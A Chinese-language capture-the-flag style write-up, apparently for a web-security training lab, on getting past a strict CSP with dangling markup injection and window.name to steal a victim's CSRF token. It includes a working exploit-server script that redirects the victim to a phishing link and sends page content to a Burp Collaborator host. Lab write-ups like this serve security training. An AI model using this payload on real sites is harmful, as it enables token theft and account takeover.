# Cross-site scripting Lab29
本題是 CSP + Reflected XSS 的 combo,要用 dangling markup injection 加上 `window.name` 傳資料,繞過 CSP 限制。
一樣先進入網站。

問題點:
- 網站有 Reflected XSS,但 CSP 超嚴格(擋外部 script)。
- 想偷 Victim 的 CSRF token,但不能直接送到自己的網站。
-
所以:
- 用 `<a href>` 誘導使用者點擊(必須包含文字 "Click")。
- 透過 `window.name` 傳資料。
- 再用自己的 exploit server 把 window.name 偷回來。
先登入帳號。

這裡會擋 `<script>`,所以想直接在更改 email 的請求中塞 payload 是不可的。
因此利用 dangling markup 植入「釣魚連結」。
這邊要讓受害者看到一個「Click me」的超連結,到我們的 exploit server 寫 code:
```html
<script>
if (window.name) {
new Image().src = "//YOUR-COLLAB-ID.burpcollaborator.net?" + encodeURIComponent(window.name);
} else {
location = "https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0acf007203e9c14582d6565001dc0087.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27";
}
</script>
```
- 第一次訪問會 redirect 受害者去你釣魚的頁面。
- 當受害者點擊「Click me」超連結時,會帶著自己的 CSRF token 開啟 `my-account`。
- 這時 `window.name` 被設成內頁內容,然後發送到 Burp Collaborator。
按照道理來說,這時 Collaborator 會出現 token 值,我們可以利用 token 值拿去更改我們在改 email 時的 token。
這時我們的 email 就會被更改了,但有趣的是我 Collaborator 爆了,連不上 server,所以所有基於它的「外部服務互動測試」(OAST)都跳過了。

所以這邊要等我 Collaborator 修好。
---